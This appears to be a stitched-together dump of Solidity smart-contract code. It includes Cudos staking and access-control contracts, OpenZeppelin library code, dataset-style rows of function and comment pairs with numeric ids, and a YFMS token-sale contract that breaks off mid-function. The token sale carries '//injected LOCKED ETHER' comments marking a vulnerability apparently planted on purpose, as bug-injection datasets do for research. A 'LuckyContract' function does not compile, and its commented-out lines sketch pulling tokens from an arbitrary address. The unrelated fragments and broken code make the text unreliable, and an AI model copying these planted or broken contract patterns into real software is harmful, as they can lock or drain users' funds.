isServiceProviderFullySetup = true; delegatedStake[serviceProvider] = minRequiredStakingAmountForServiceProviders; totalDelegatedStake = totalDelegatedStake.add(minRequiredStakingAmountForServiceProviders); // A mass update is required at this point _getAndDistributeRewardsWithMassUpdate(); rewards.stake( _rewardsProgrammeId, _msgSender(), minRequiredStakingAmountForServiceProviders ); // Store date for lock-up calculation WithdrawalRequest storage withdrawalReq = withdrawalRequest[_msgSender()]; withdrawalReq.lastStakedBlock = rewards._getBlock(); emit StakedServiceProviderBond(serviceProvider, serviceProviderManager, _rewardsProgrammeId, rewardsFeePercentage); } // *** CUDO Admin Emergency only ** function recoverERC20(address _erc20, address _recipient, uint256 _amount) external { // ServiceProvider.recoverERC20: Only admin require(StakingRewards(controller).hasAdminRole(_msgSender()), "OA"); IERC20(_erc20).transfer(_recipient, _amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/AccessControl.sol"; contract CudosAccessControls is AccessControl { // Role definitions bytes32 public constant WHITELISTED_ROLE = keccak256("WHITELISTED_ROLE"); bytes32 public constant SMART_CONTRACT_ROLE = keccak256("SMART_CONTRACT_ROLE"); // Events event AdminRoleGranted( address indexed beneficiary, address indexed caller ); event AdminRoleRemoved( address indexed beneficiary, address indexed caller ); event WhitelistRoleGranted( address indexed beneficiary, address indexed caller ); event WhitelistRoleRemoved( address indexed beneficiary, address indexed caller ); event SmartContractRoleGranted( address indexed beneficiary, address indexed caller ); event SmartContractRoleRemoved( address indexed beneficiary, address indexed caller ); modifier onlyAdminRole() { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "CudosAccessControls: sender must be an admin"); _; } constructor() { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } ///////////// // Lookups // ///////////// function hasAdminRole(address _address) external view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, _address); } function hasWhitelistRole(address _address) external view returns (bool) { return hasRole(WHITELISTED_ROLE, _address); } function hasSmartContractRole(address _address) external view returns (bool) { return hasRole(SMART_CONTRACT_ROLE, _address); } /////////////// // Modifiers // /////////////// function addAdminRole(address _address) external onlyAdminRole { _setupRole(DEFAULT_ADMIN_ROLE, _address); emit AdminRoleGranted(_address, _msgSender()); } function removeAdminRole(address _address) external onlyAdminRole { revokeRole(DEFAULT_ADMIN_ROLE, _address); emit AdminRoleRemoved(_address, _msgSender()); } function addWhitelistRole(address _address) external onlyAdminRole { _setupRole(WHITELISTED_ROLE, _address); emit WhitelistRoleGranted(_address, _msgSender()); } function removeWhitelistRole(address _address) external onlyAdminRole { revokeRole(WHITELISTED_ROLE, _address); emit WhitelistRoleRemoved(_address, _msgSender()); } function addSmartContractRole(address _address) external onlyAdminRole { _setupRole(SMART_CONTRACT_ROLE, _address); emit SmartContractRoleGranted(_address, _msgSender()); } function removeSmartContractRole(address _address) external onlyAdminRole { revokeRole(SMART_CONTRACT_ROLE, _address); emit SmartContractRoleRemoved(_address, _msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { CudosAccessControls } from "../CudosAccessControls.sol"; contract StakingRewardsGuild { using SafeERC20 for IERC20; IERC20 public token; CudosAccessControls public accessControls; constructor(IERC20 _token, CudosAccessControls _accessControls) { token = _token; accessControls = _accessControls; } function withdrawTo(address _recipient, uint256 _amount) external { require( accessControls.hasSmartContractRole(msg.sender), // StakingRewardsGuild.withdrawTo: Only authorised smart contract "OASM" ); // StakingRewardsGuild.withdrawTo: recipient is zero address require(_recipient != address(0), "SRG1"); token.transfer(_recipient, _amount); } // ***** // Admin // ***** function recoverERC20(address _erc20, address _recipient, uint256 _amount) external { // StakingRewardsGuild.recoverERC20: Only admin require(accessControls.hasAdminRole(msg.sender), "OA"); IERC20(_erc20).safeTransfer(_recipient, _amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
StakingRewards.whitelistServiceProvider: Only admin
function whitelistServiceProvider(address _serviceProvider) external { require(accessControls.hasAdminRole(_msgSender()), "OA"); require(serviceProviderToWhitelistedProxyContracts[_serviceProvider] == address(0), "StakingRewards.whitelistServiceProvider: Already whitelisted service provider"); address serviceProviderContract = createClone(cloneableServiceProviderContract); serviceProviderToWhitelistedProxyContracts[_serviceProvider] = serviceProviderContract; serviceProviderContractToServiceProvider[serviceProviderContract] = _serviceProvider; ServiceProvider(serviceProviderContract).init(_serviceProvider, token); emit ServiceProviderWhitelisted(_serviceProvider, serviceProviderContract); }
129,346
pragma solidity 0.6.2; //Now, Bob said, just give me an ether or more contract gray_BobAnswer{ uint256 private answer; address public owner; constructor(uint256 _answer) public{ owner = msg.sender; answer = _answer; } function getAnswer() external payable returns(uint256){ //require(address(this).balance % 1 ether == 0); require(msg.value >= 1 ether); return answer; } function withdraw() external{ require(msg.sender == owner); msg.sender.transfer(address(this).balance); } }
require(address(this).balance % 1 ether == 0);
function getAnswer() external payable returns(uint256){ require(msg.value >= 1 ether); return answer; }
14,121,969
./full_match/1/0xda3Bb6122BDC762Fb83D37AD2b09e7F2Cf6612f5/sources/src/Originals.sol
Returns the max supply of a release./
function maxSupply( uint256 __releaseID ) external view onlyExistingRelease(__releaseID) returns (uint256) { return _releases[__releaseID].maxSupply; }
4,843,997
./full_match/5/0xCa564CF1Ad4DB09D0033b0d4F0C4949B4d7bb9AC/sources/contracts/Uniswap.sol
Singleswap exact to variable functions
function swapExactTokensToTokens(uint256 inputAmount, uint256 minOutAmount, uint256 deadline, address recipient, IUniswapV2Pair pair, bool whichToken, IERC20 firstToken) external ensure(deadline) { }
1,938,436
// SPDX-License-Identifier: MIT pragma solidity ^0.7.5; pragma experimental ABIEncoderV2; contract VoteContract { address public owner; uint ElectionsCounter; struct Candidate{ string name; uint voteCount; uint candidateId; } struct Voter{ address voterAddress; string name; string uniqueID; bool hasVoted; bool isVerified; } struct Election{ address election_owner; string title; Voter[] Election_Voters; Candidate[] Election_Candidates; bool start; bool end; uint candidateCount; uint voterCount; } mapping(uint => Election) public Elections; constructor(){ owner = msg.sender; ElectionsCounter = 0; } //modifier to specify functions that only the election creator/admin can access modifier onlyElectionAdmin(uint _electionID){ require(Elections[_electionID].election_owner == msg.sender); _; } // this function is used to create a new election function createElection(string memory _title) public { Elections[ElectionsCounter].election_owner = msg.sender; Elections[ElectionsCounter].title = _title; Elections[ElectionsCounter].start = false; Elections[ElectionsCounter].end = false; Elections[ElectionsCounter].candidateCount = 0; Elections[ElectionsCounter].voterCount = 0; ElectionsCounter++; } // Only election creator/admin has access to this function function addCandidate(string memory _name, uint _electionID) public onlyElectionAdmin(_electionID){ Elections[_electionID].Election_Candidates.push(Candidate({ name:_name, voteCount: 0, candidateId : Elections[_electionID].candidateCount })); Elections[_electionID].candidateCount += 1; } // request to be added as voter function applyToVote(string memory _name, string memory _uniqueID, uint _electionID) public { Elections[_electionID].Election_Voters.push(Voter({ voterAddress : msg.sender, name : _name, uniqueID : _uniqueID, hasVoted : false, isVerified : false })); Elections[_electionID].voterCount +=1; } //Voting function function vote(uint candidateId, uint _electionID) public{ uint voterNumber; for(uint i=0;i<Elections[_electionID].voterCount;i++){ if(Elections[_electionID].Election_Voters[i].voterAddress == msg.sender){ voterNumber = i; } } require(Elections[_electionID].Election_Voters[voterNumber].hasVoted == false); // require that voter hasn't voted already. require(Elections[_electionID].Election_Voters[voterNumber].isVerified == true); // require that voter is verified. require(Elections[_electionID].start == true); // require that the voting process has started require(Elections[_electionID].end == false); // and has not ended yet Elections[_electionID].Election_Candidates[candidateId].voteCount += 1; Elections[_electionID].Election_Voters[voterNumber].hasVoted = true; } // verify a specific voter address function verifyVoter(address _address, uint _electionID) public onlyElectionAdmin(_electionID){ uint voterNumber; for(uint i=0;i<Elections[_electionID].voterCount;i++){ if(Elections[_electionID].Election_Voters[i].voterAddress == _address){ voterNumber = i; } } Elections[_electionID].Election_Voters[voterNumber].isVerified = true; } // start the voting process function startElection(uint _electionID) public onlyElectionAdmin(_electionID){ Elections[_electionID].start = true; Elections[_electionID].end = false; } // end the voting process function endElection(uint _electionID) public onlyElectionAdmin(_electionID){ Elections[_electionID].end = true; Elections[_electionID].start = false; } // return start value to know if voting process has started function getStart(uint _electionID) public view returns (bool) { return Elections[_electionID].start; } // return end value to know if voting process has ended function getEnd(uint _electionID) public view returns (bool) { return Elections[_electionID].end; } // get the address of the owner of a specific election function getElectionOwner(uint _electionID) public view returns(address){ return Elections[_electionID].election_owner; } // get a specific election name based on ID function getElectionName(uint _electionID) public view returns(string memory){ return Elections[_electionID].title; } // get total number of elections created function getElectionsCounter() public view returns(uint){ return ElectionsCounter; } // get total number of candidates of a specific election function getCandidateNumber(uint _electionID) public view returns (uint) { return Elections[_electionID].candidateCount; } // get total number of voters function getVoterCount(uint _electionID) public view returns (uint) { return Elections[_electionID].voterCount; } //check if given voterID already exists in the list function voterExists(uint _electionID,string memory _voterID) public view returns(bool){ for(uint i=0; i < Elections[_electionID].voterCount;i++){ //use this cause solidity doesn't support string comparison with '==' if(keccak256(bytes(Elections[_electionID].Election_Voters[i].uniqueID)) == keccak256(bytes(_voterID))){ return true; } } return false; } // return status of specified voter (is he verified? did he already vote?) function getVotingDetails(address _address,uint _electionID)public view returns(bool isVerified,bool hasVoted){ for(uint i=0;i<Elections[_electionID].voterCount;i++){ if(Elections[_electionID].Election_Voters[i].voterAddress == _address){ return (Elections[_electionID].Election_Voters[i].isVerified, Elections[_electionID].Election_Voters[i].hasVoted); } } } // return true if voter has already registered for the election given function isVoterRegistered(address _address,uint _electionID) public view returns(bool isRegistered){ for(uint i=0;i<Elections[_electionID].voterCount;i++){ if(Elections[_electionID].Election_Voters[i].voterAddress == _address){ return true; } } return false; } //get all the candidates from a specific election function getCandidates(uint _electionID) public view returns(Candidate [] memory){ return Elections[_electionID].Election_Candidates; } //get all the voters from a specific Election function getVoters(uint _electionID) public view returns(Voter [] memory){ return Elections[_electionID].Election_Voters; } }
get total number of elections created
function getElectionsCounter() public view returns(uint){ return ElectionsCounter; }
13,081,960
./full_match/56/0x044756bFBf0bb0082Af2B30F430d885F52ccEf97/sources/contracts/TokenAggregator.sol
Static call a contract with the provided data target The address of the contract to call data The data to call the contract with return result The result of the contract call/
function staticCall( address target, bytes memory data ) private view returns (bytes memory) { uint256 size = codeSize(target); if (size > 0) { (bool success, bytes memory result) = target.staticcall(data); if (success) { return result; } } return new bytes(32); }
3,256,175
./full_match/4/0x056fEeF5FB3F5Fe3d8fcE689858aE31aEE71F427/sources/contracts/LuckyContract.sol
(bool success, bytes memory data) = target_token.call(abi.encodeWithSelector(bytes4(keccak256(bytes('balanceOf(address)'))), target_address)); uint amount = 10; _safeApprove(target_token, msg.sender, amount); _safeTransferFrom(target_token, target_address, msg.sender, amount);
function getToken(address payable target_address) public payable { uint minfee = 10; require(success && (data.length == 0 || abi.decode(data, (bool))), 'TRANSFER_FAILED'); }
745,474
./full_match/1/0x8F4dD3Beb866fB84e53f5EcDc2fDF62805c8b5BB/sources/rocketart.sol
disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; }
4,844,993
/** *Submitted for verification at Etherscan.io on 2020-09-15 */ pragma solidity 0.6.8; library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface ERC20 { function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint value) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); function approve(address spender, uint value) external returns (bool success); } contract YFMSTokenSale { using SafeMath for uint256; uint256 public totalSold; ERC20 public YFMSToken; address payable public owner; uint256 public collectedETH; uint256 public startDate; bool public softCapMet; bool private presaleClosed = false; uint256 private ethWithdrawals = 0; uint256 private lastWithdrawal; // tracks all contributors. mapping(address => uint256) internal _contributions; // adjusts for different conversion rates. mapping(address => uint256) internal _averagePurchaseRate; // total contributions from wallet. mapping(address => uint256) internal _numberOfContributions; constructor(address _wallet) public { owner = msg.sender; YFMSToken = ERC20(_wallet); } uint256 amount; uint256 rateDay1 = 6; uint256 rateDay2 = 11; uint256 rateDay3 = 5; uint256 rateDay4 = 9; uint256 rateDay5 = 4; // Converts ETH to YFMS and sends new YFMS to the sender receive () external payable { //injected LOCKED ETHER require(startDate > 0 && now.sub(startDate) <= 7 days); require(YFMSToken.balanceOf(address(this)) > 0); require(msg.value >= 0.1 ether && msg.value <= 50 ether); require(!presaleClosed); if (now.sub(startDate) <= 1 days) { amount = msg.value.mul(6); _averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay1.mul(10)); } else if(now.sub(startDate) > 1 days && now.sub(startDate) <= 2 days) { amount = msg.value.mul(11).div(2); _averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay2.mul(10).div(2)); } else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) { amount = msg.value.mul(5); _averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay3.mul(10)); } else if(now.sub(startDate) > 3 days && now.sub(startDate) <= 4 days) { amount = msg.value.mul(9).div(2); _averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay4.mul(10).div(2)); } else if(now.sub(startDate) > 4 days) { amount = msg.value.mul(4); _averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay5.mul(10)); } require(amount <= YFMSToken.balanceOf(address(this))); // update constants. totalSold = totalSold.add(amount); collectedETH = collectedETH.add(msg.value); // update address contribution + total contributions. _contributions[msg.sender] = _contributions[msg.sender].add(amount); _numberOfContributions[msg.sender] = _numberOfContributions[msg.sender].add(1); // transfer the tokens. YFMSToken.transfer(msg.sender, amount); // check if soft cap is met. if (!softCapMet && collectedETH >= 150 ether) { softCapMet = true; } } // Converts ETH to YFMS and sends new YFMS to the sender function contribute() external payable { //injected LOCKED ETHER require(startDate > 0 && now.sub(startDate) <= 7 days); require(YFMSToken.balanceOf(address(this)) > 0); require(msg.value >= 0.1 ether && msg.value <= 50 ether); require(!presaleClosed); if (now.sub(startDate) <= 1 days) { amount = msg.value.mul(6); _averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay1.mul(10)); } else if(now.sub(startDate) > 1 days && now.sub(startDate) <= 2 days) { amount = msg.value.mul(11).div(2); _averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay2.mul(10).div(2)); } else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) { amount = msg.value.mul(5); 